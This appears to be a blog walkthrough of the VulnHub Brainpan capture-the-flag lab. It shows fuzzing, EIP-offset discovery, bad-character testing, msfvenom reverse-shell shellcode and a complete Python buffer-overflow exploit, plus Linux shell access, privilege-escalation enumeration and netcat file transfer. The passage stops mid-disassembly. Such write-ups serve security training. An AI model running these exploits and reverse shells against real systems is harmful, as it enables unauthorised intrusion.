Welcome! In this post, we are going to be exploring Brainpan.

Brainpan is a challenge from the good folks over at VulnHub. Their aim is to provide materials that allow anyone to gain practical hands-on experience in digital security, computer software & network administration.

Today’s challenge is a little different from other Vulnhub challenges. Get yer gloves on, because today we’re going to be dissecting a Windows binary. This exploit stuff is my favorite, so let’s being shall we?

Getting started

If you poke around you’ll find the host serving the vulnerable app:

root@kali:~# nmap 192.168.128.133

Starting Nmap 7.60 ( https://nmap.org ) at 2017-08-20 18:01 CDT
Nmap scan report for 192.168.128.133
Host is up (0.00055s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
9999/tcp  open  abyss
10000/tcp open  snet-sensor-mgmt
MAC Address: 00:0C:29:93:E5:3A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 14.63 seconds

Check the open ports:

root@kali:~# telnet 192.168.128.133 9999
Trying 192.168.128.133...
Connected to 192.168.128.133.
Escape character is '^]'.
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> 

What is the password?

root@kali:~# telnet 192.168.128.133 9999
Trying 192.168.128.133...
Connected to 192.168.128.133.
Escape character is '^]'.
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD                              

                          >> PASSWORD
                          ACCESS DENIED
Connection closed by foreign host.

We’ll come back to this. For now, I browse to the webserver on port 10000 and download the vulnerable binary. I have a Windows debugging machine to run it in, but if you don’t you can use WINE. You will also need a debugger for this challenge. I am using Immunity because it is free and because I like mona.py but you can use whatever you like.

Diving in

The goal here will be to exploit the remote application with a buffer overflow.

I run the the binary on my Windows machine:

C:\Users\EOF\Desktop\brainpan.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.

Note: You may need to modify your windows firewall settings to allow connections.

Next, I create the below skeleton PoC to fuzz the application:

import socket

rhost = '192.168.128.129'  # Windows host IP
rport = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

payload = "A" * 100

while True:
	s.connect((host, port))
	s.recv(1024)
	print('[*] Sending payload with length '+str(len(payload)))
	s.send(payload)
	s.close()
	payload += "A" * 100

I fuzz the application until it crashes:

root@kali:~# ./fuzz.py 
[*] Sending payload with length 100
[*] Sending payload with length 200
[*] Sending payload with length 300
[*] Sending payload with length 400
[*] Sending payload with length 500
[*] Sending payload with length 600

The application crashes beautifully. Take a look at the crash in a debugger and you’ll see we’ve overwritten EIP:

EAX FFFFFFFF
ECX 3117303F ASCII "shitstorm
"
EDX 005FF710 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBX 00368000
ESP 005FF920 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
EBP 41414141
ESI 31171280 brainpan.<ModuleEntryPoint>
EDI 31171280 brainpan.<ModuleEntryPoint>
EIP 41414141

Note: The word “shitstorm” is the password to the application. It is using the strcmp function to compare our input to the stored password but not checking the buffer length.

The good thing is that EIP has been overwritten! With “41414141” or the hex equivalent of “AAAA”. The reason this is great news to an attacker (me), is because EIP controls the execution flow of the program. If you can control EIP, you can control what the program does. Although this doesn’t always provide a path to exploitation, it’s a good start.

So we can control the crash, but what to do with it?

Highjacking the application

First, we need to find precisely which characters in our buffer overwrite EIP. If we’re going to insert a malicious payload, we need to know where to put it.

The pattern_create script that comes with Metasploit can aid us in this:

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600

The above command will spit out a long unique string to use in the payload.

I create a new skeleton exploit to begin testing with:

import socket

rhost = '192.168.128.129'
rport = 9999

payload = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
s.recv(1024)
s.send(payload)
s.close()

I send this exploit to the host and then observe which chars overwrite EIP. This will tell us where in our buffer to place our payload.

EAX FFFFFFFF
ECX 3117303F ASCII "shitstorm
"
EDX 005FF710 ASCII "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7
EBX 003F3000
ESP 005FF920 ASCII "Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9"
EBP 72413372
ESI 31171280 brainpan.<ModuleEntryPoint>
EDI 31171280 brainpan.<ModuleEntryPoint>
EIP 35724134

We can see here that EIP = ‘35724134’. Due to the Endian-ness, we will need to reverse this, and we get ‘34 41 72 35’. This is hexadecimal for ‘4Ar5’. I use the ‘pattern_offset.rb’ script to find this string in our buffer:

root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q '4Ar5'
[*] Exact match at offset 524

This means we can place our payload after the 524th char in the payload. The first 524 chars can be junk.

Chars 525,526,527, and 528 will be what overwrites the EIP register.
I can verify this by sending a dummy payload:

import socket

rhost = '192.168.128.129'
rport = 9999

payload = ('A' * 524) + ('B' * 4) + ('C' * 350)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
s.recv(1024)
s.send(payload)
s.close()

I’ve included an additional padding buffer of C’s to represent where our future shellcode will go. Now to test it:

EAX FFFFFFFF
ECX 3117303F ASCII "shitstorm
"
EDX 005FF710 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBX 0030E000
ESP 005FF920 ASCII "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
EBP 41414141
ESI 31171280 brainpan.<ModuleEntryPoint>
EDI 31171280 brainpan.<ModuleEntryPoint>
EIP 42424242

Wonderful!

Here we can see that EIP is now ‘42424242’, which is hex for ‘BBBB’. This means we have succesfully determined the locate of the overwrite. Now, all we must find an instruction that will jump to that location.

First I use mona.py to find a “JMP ESP” in the brainpan.exe application:

!mona find -type instr -s "JMP ESP" -m brainpan.exe

Result:

Log data
Address    Message
0BADF00D   [+] Command used:
0BADF00D   !mona find -type instr -s "JMP ESP" -m brainpan.exe

           ---------- Mona command started on 2017-08-20 13:29:37 (v2.0, rev 577) ----------
0BADF00D   [+] Processing arguments and criteria
0BADF00D       - Pointer access level : *
0BADF00D       - Only querying modules brainpan.exe
0BADF00D   [+] Generating module info table, hang on...
0BADF00D       - Processing modules
0BADF00D       - Done. Let's rock 'n roll.
0BADF00D       - Treating search pattern as instr
0BADF00D   [+] Searching from 0x31170000 to 0x31176000
0BADF00D   [+] Preparing output file 'find.txt'
0BADF00D       - (Re)setting logfile find.txt
0BADF00D   [+] Writing results to find.txt
0BADF00D       - Number of pointers of type '"JMP ESP"' : 1
0BADF00D   [+] Results :
311712F3     0x311712f3 : "JMP ESP" |  {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\EOF\Desktop\brainpan.exe)
0BADF00D       Found a total of 1 pointers
0BADF00D
0BADF00D   [+] This mona.py action took 0:00:00.704000

There it is: 0x311712f3 (Remember, it will have to be “flipped” due to its endianness)

This will go into our exploit to overwrite EIP and have the application JUMP to the stack where our shellcode is stored.

Bad Characters

Before we can exploit the application, it is necessary to test for “bad characters”.

These are characters that would cause our payload to get cut short, or cause some other unintended behavior. They include things like the line feed, newline, tab, null terminator, etc. If we don’t test for them and exclude them from our final shellcode, our exploit may fail.

This process is quite tedious and will take a bit of time. I will send a payload after the saved return pointer containing an array of all hex characters. Then, I will work out which ones are “bad” (e.g. mangled characters) and remove them from the payload. I repeat the process until none are found.

I use a bit of Python to get all the hex bytes in a workable format:

root@kali:~# python
>>> import sys
>>> for x in range(256):
...     sys.stdout.write("\\x"+'{:02x}'.format(x))
... 
\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

Then I add it to my payload:

import socket

rhost = '192.168.128.129'
rport = 9999

payload = ('A' * 524) + ('B' * 4)
payload += "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
s.recv(1024)
s.send(payload)
s.close()

Note: We know \x00 is a null terminator so we can remove it right away.

I send the payload, the application crashes, and I sift through a dump of the stack until I find mangled chars to exclude.

I fuzz this for a while until finally arriving at the below:

import socket

rhost = '192.168.128.129'
rport = 9999

payload = ('A' * 524) + ('B' * 4) 
# badchars = \x07 \x09 \x0a \x0c \x0d
payload += "\x01\x02\x03\x04\x05\x06\x08\x0b\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
s.recv(1024)
s.send(payload)
s.close()

What this means is that the hex bytes ‘07’, ‘09’, ‘0a’, ‘0c’ and ‘0d’ will have to be excluded from our shellcode.

Shellcode

Shellcode is the code inside our payload that the exploit will cause the application to execute.

We can generate a nice bit of shellcode using Metasploit Framework’s msfvenom:

root@kali:~# msfvenom -p windows/shell_reverse_tcp -a x86 --bad-chars "\x00\x07\x09\x0a\x0c\x0d" LHOST=192.168.128.130 LPORT=4444 -f c
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of c file: 1500 bytes
unsigned char buf[] = 
"\xbe\xb2\xe8\xbb\xa3\xd9\xc3\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x52\x83\xef\xfc\x31\x77\x0e\x03\xc5\xe6\x59\x56\xd5\x1f\x1f"
"\x99\x25\xe0\x40\x13\xc0\xd1\x40\x47\x81\x42\x71\x03\xc7\x6e"
"\xfa\x41\xf3\xe5\x8e\x4d\xf4\x4e\x24\xa8\x3b\x4e\x15\x88\x5a"
"\xcc\x64\xdd\xbc\xed\xa6\x10\xbd\x2a\xda\xd9\xef\xe3\x90\x4c"
"\x1f\x87\xed\x4c\x94\xdb\xe0\xd4\x49\xab\x03\xf4\xdc\xa7\x5d"
"\xd6\xdf\x64\xd6\x5f\xc7\x69\xd3\x16\x7c\x59\xaf\xa8\x54\x93"
"\x50\x06\x99\x1b\xa3\x56\xde\x9c\x5c\x2d\x16\xdf\xe1\x36\xed"
"\x9d\x3d\xb2\xf5\x06\xb5\x64\xd1\xb7\x1a\xf2\x92\xb4\xd7\x70"
"\xfc\xd8\xe6\x55\x77\xe4\x63\x58\x57\x6c\x37\x7f\x73\x34\xe3"
"\x1e\x22\x90\x42\x1e\x34\x7b\x3a\xba\x3f\x96\x2f\xb7\x62\xff"
"\x9c\xfa\x9c\xff\x8a\x8d\xef\xcd\x15\x26\x67\x7e\xdd\xe0\x70"
"\x81\xf4\x55\xee\x7c\xf7\xa5\x27\xbb\xa3\xf5\x5f\x6a\xcc\x9d"
"\x9f\x93\x19\x31\xcf\x3b\xf2\xf2\xbf\xfb\xa2\x9a\xd5\xf3\x9d"
"\xbb\xd6\xd9\xb5\x56\x2d\x8a\x79\x0e\xad\xc8\x12\x4d\xad\xdd"
"\xbe\xd8\x4b\xb7\x2e\x8d\xc4\x20\xd6\x94\x9e\xd1\x17\x03\xdb"
"\xd2\x9c\xa0\x1c\x9c\x54\xcc\x0e\x49\x95\x9b\x6c\xdc\xaa\x31"
"\x18\x82\x39\xde\xd8\xcd\x21\x49\x8f\x9a\x94\x80\x45\x37\x8e"
"\x3a\x7b\xca\x56\x04\x3f\x11\xab\x8b\xbe\xd4\x97\xaf\xd0\x20"
"\x17\xf4\x84\xfc\x4e\xa2\x72\xbb\x38\x04\x2c\x15\x96\xce\xb8"
"\xe0\xd4\xd0\xbe\xec\x30\xa7\x5e\x5c\xed\xfe\x61\x51\x79\xf7"
"\x1a\x8f\x19\xf8\xf1\x0b\x29\xb3\x5b\x3d\xa2\x1a\x0e\x7f\xaf"
"\x9c\xe5\xbc\xd6\x1e\x0f\x3d\x2d\x3e\x7a\x38\x69\xf8\x97\x30"
"\xe2\x6d\x97\xe7\x03\xa4";

Now to craft the final exploit. First I simply copy and paste the shellcode into the exploit code. I also insert a few “NOPs”. These are “No Operation” instructions, which simply tell the processor to go to the next instruction. They will help us glide into our payload if our jump is off a little. It serves a kind of safety padding. I also place in the location of the “JUMP” instruction we discovered earlier that will overwrite EIP.

Here is the final PoC:

import socket

rhost = '192.168.128.129'
rport = 9999

eip =  "\xf3\x12\x17\x31" # 0x311712f3 JMP_ESP in brainpan.exe
shellcode = (
"\xbe\xb2\xe8\xbb\xa3\xd9\xc3\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1"
"\x52\x83\xef\xfc\x31\x77\x0e\x03\xc5\xe6\x59\x56\xd5\x1f\x1f"
"\x99\x25\xe0\x40\x13\xc0\xd1\x40\x47\x81\x42\x71\x03\xc7\x6e"
"\xfa\x41\xf3\xe5\x8e\x4d\xf4\x4e\x24\xa8\x3b\x4e\x15\x88\x5a"
"\xcc\x64\xdd\xbc\xed\xa6\x10\xbd\x2a\xda\xd9\xef\xe3\x90\x4c"
"\x1f\x87\xed\x4c\x94\xdb\xe0\xd4\x49\xab\x03\xf4\xdc\xa7\x5d"
"\xd6\xdf\x64\xd6\x5f\xc7\x69\xd3\x16\x7c\x59\xaf\xa8\x54\x93"
"\x50\x06\x99\x1b\xa3\x56\xde\x9c\x5c\x2d\x16\xdf\xe1\x36\xed"
"\x9d\x3d\xb2\xf5\x06\xb5\x64\xd1\xb7\x1a\xf2\x92\xb4\xd7\x70"
"\xfc\xd8\xe6\x55\x77\xe4\x63\x58\x57\x6c\x37\x7f\x73\x34\xe3"
"\x1e\x22\x90\x42\x1e\x34\x7b\x3a\xba\x3f\x96\x2f\xb7\x62\xff"
"\x9c\xfa\x9c\xff\x8a\x8d\xef\xcd\x15\x26\x67\x7e\xdd\xe0\x70"
"\x81\xf4\x55\xee\x7c\xf7\xa5\x27\xbb\xa3\xf5\x5f\x6a\xcc\x9d"
"\x9f\x93\x19\x31\xcf\x3b\xf2\xf2\xbf\xfb\xa2\x9a\xd5\xf3\x9d"
"\xbb\xd6\xd9\xb5\x56\x2d\x8a\x79\x0e\xad\xc8\x12\x4d\xad\xdd"
"\xbe\xd8\x4b\xb7\x2e\x8d\xc4\x20\xd6\x94\x9e\xd1\x17\x03\xdb"
"\xd2\x9c\xa0\x1c\x9c\x54\xcc\x0e\x49\x95\x9b\x6c\xdc\xaa\x31"
"\x18\x82\x39\xde\xd8\xcd\x21\x49\x8f\x9a\x94\x80\x45\x37\x8e"
"\x3a\x7b\xca\x56\x04\x3f\x11\xab\x8b\xbe\xd4\x97\xaf\xd0\x20"
"\x17\xf4\x84\xfc\x4e\xa2\x72\xbb\x38\x04\x2c\x15\x96\xce\xb8"
"\xe0\xd4\xd0\xbe\xec\x30\xa7\x5e\x5c\xed\xfe\x61\x51\x79\xf7"
"\x1a\x8f\x19\xf8\xf1\x0b\x29\xb3\x5b\x3d\xa2\x1a\x0e\x7f\xaf"
"\x9c\xe5\xbc\xd6\x1e\x0f\x3d\x2d\x3e\x7a\x38\x69\xf8\x97\x30"
"\xe2\x6d\x97\xe7\x03\xa4")
nops = "\x90" * 10
payload = ('A' * 524) + eip + nops + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('[*] Connecting remote host . . .')
s.connect((rhost, rport))
print('[*] Connected!')
s.recv(1024)
print('[*] Sending payload now . . .')
s.send(payload)
print('[*] Payload sent!')
s.close()

I set up a netcat listener:

root@kali:~# nc -v -lp 4444
listening on [any] 4444 ...

And then I run the exploit:

root@kali:~# ./exploit.py
[*] Connecting to remote host . . .'
[*] Connected!
[*] Sending payload now . . .
[*] Payload sent!

The remote application vomits out a load of garbled noise, and when I check my nc listener:

root@kali:~# nc -v -lp 4444
listening on [any] 4444 ...
192.168.128.129: inverse host lookup failed: Unknown host
connect to [192.168.128.130] from (UNKNOWN) [192.168.128.129] 49672
Microsoft Windows [Version 10.0.15063]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\EOF\Desktop>

I have a shell!

Ahh… Is there any better feeling than getting that Windows prompt on your Linux machine? :)

This isn’t the end, though. We still have to exploit the Brainpan host itself!

Brainpan

I modify the exploit to contain a Linux version of the shellcode:

import socket

rhost = '192.168.128.133'
rport = 9999

buffr = "A" * 524
eip =  "\xf3\x12\x17\x31" # 0x311712f3 JMP_ESP in brainpan.exe
shellcode = ("\xd9\xc7\xd9\x74\x24\xf4\xba\xfa\x31\xe3\xdc\x58\x31\xc9\xb1"
"\x12\x31\x50\x17\x03\x50\x17\x83\x12\xcd\x01\x29\xd3\xf5\x31"
"\x31\x40\x49\xed\xdc\x64\xc4\xf0\x91\x0e\x1b\x72\x42\x97\x13"
"\x4c\xa8\xa7\x1d\xca\xcb\xcf\x5d\x84\xac\x8d\x36\xd7\xac\x80"
"\x9a\x5e\x4d\x12\x44\x31\xdf\x01\x3a\xb2\x56\x44\xf1\x35\x3a"
"\xee\x64\x19\xc8\x86\x10\x4a\x01\x34\x88\x1d\xbe\xea\x19\x97"
"\xa0\xba\x95\x6a\xa2")
nops = "\x90" * 10

payload = buffr + eip + nops + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((rhost, rport))
s.recv(1024)
s.send(payload)
s.close()

I run the exploit and get a linux shell for an unprivileged user named ‘puck’.

root@kali:~# nc -v -lp 4444
listening on [any] 4444 ...
192.168.128.133: inverse host lookup failed: Unknown host
connect to [192.168.128.130] from (UNKNOWN) [192.168.128.133] 46992
python -c "import pty;pty.spawn('/bin/bash')"
puck@brainpan:/home/puck$ id
id
uid=1002(puck) gid=1002(puck) groups=1002(puck)

I poke around a bit.

One of the first things I always check when I get a user account is whether they have sudo permissions. No point spending hou rs combing through the system if you can get away with a simple sudo su -

puck@brainpan:/home/puck$ sudo -l
sudo -l
Matching Defaults entries for puck on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util

This is interesting. We can’t do anything with this yet, so we’ll come back to that file in a bit.

Next I check for any SUID files. These are files that will run as another user, which will be useful for escalating our privileges.

puck@brainpan:/home/puck$ find / -xdev -perm /4000 2>/dev/null
find / -xdev -perm /4000 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/bin/ping6
/bin/ping
/usr/bin/sudo
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudoedit
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/lppasswd
/usr/bin/passwd
/usr/bin/gpasswd
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/local/bin/validate
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown

These are mostly standard Linux executables, but one sticks out: “/usr/local/bin/validate”.

I examine it more closely. It is owned by another user named ‘anansi’, the owner of our sudo tool.

puck@brainpan:/home/puck$ ls -l /usr/local/bin/validate
ls -l /usr/local/bin/validate
-rwsr-xr-x 1 anansi anansi 8761 Mar  4  2013 /usr/local/bin/validate

It’s a 32bit ELF executable:

puck@brainpan:/home/puck$ file /usr/local/bin/validate
file /usr/local/bin/validate
/usr/local/bin/validate: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, BuildID[sha1]=0x01d3b7c4bc6eda9d4b4e9c25e036a36349b9630a, not stripped

And it is not exactly helpful to us

puck@brainpan:/home/puck$ /usr/local/bin/validate --help
/usr/local/bin/validate --help
validating input...passed.

I download the application to my Kali machine to examine it further.

I use netcat for a simple file transfer. First set a listener directed to the desired file:

root@kali:~# nc -lp 4444 > validate

Then cat the file into the connection on the remote host:

puck@brainpan:/home/puck$ cat /usr/local/bin/validate | nc 192.168.128.130 4444

Then verify it:

root@kali:~# ls -l validate
-rw-r--r-- 1 root root 8761 Sep 20 16:08 validate

Debugging the application

I use gdb to peek around inside the program, first dissecting the “main” function:

root@kali:~# gdb -q ./validate
Reading symbols from ./validate...done.
(gdb) disas main
Dump of assembler code for function main:
   0x08048538 <+0>:	push   %ebp
   0x08048539 <+1>:	mov    %esp,%ebp
   0x0804853b <+3>:	and    $0xfffffff0,%esp
   0x0804853e <+6>:	sub    $0x20,%esp
   0x08048541 <+9>:	cmpl   $0x1,0x8(%ebp)
   0x08048545 <+13>:	jg     0x8048564 <main+44>
   0x08048547 <+15>:	mov    0xc(%ebp),%eax
   0x0804854a <+18>:	mov    (%eax),%edx
   0x0804854c <+20>:	mov    $0x804866c,%eax
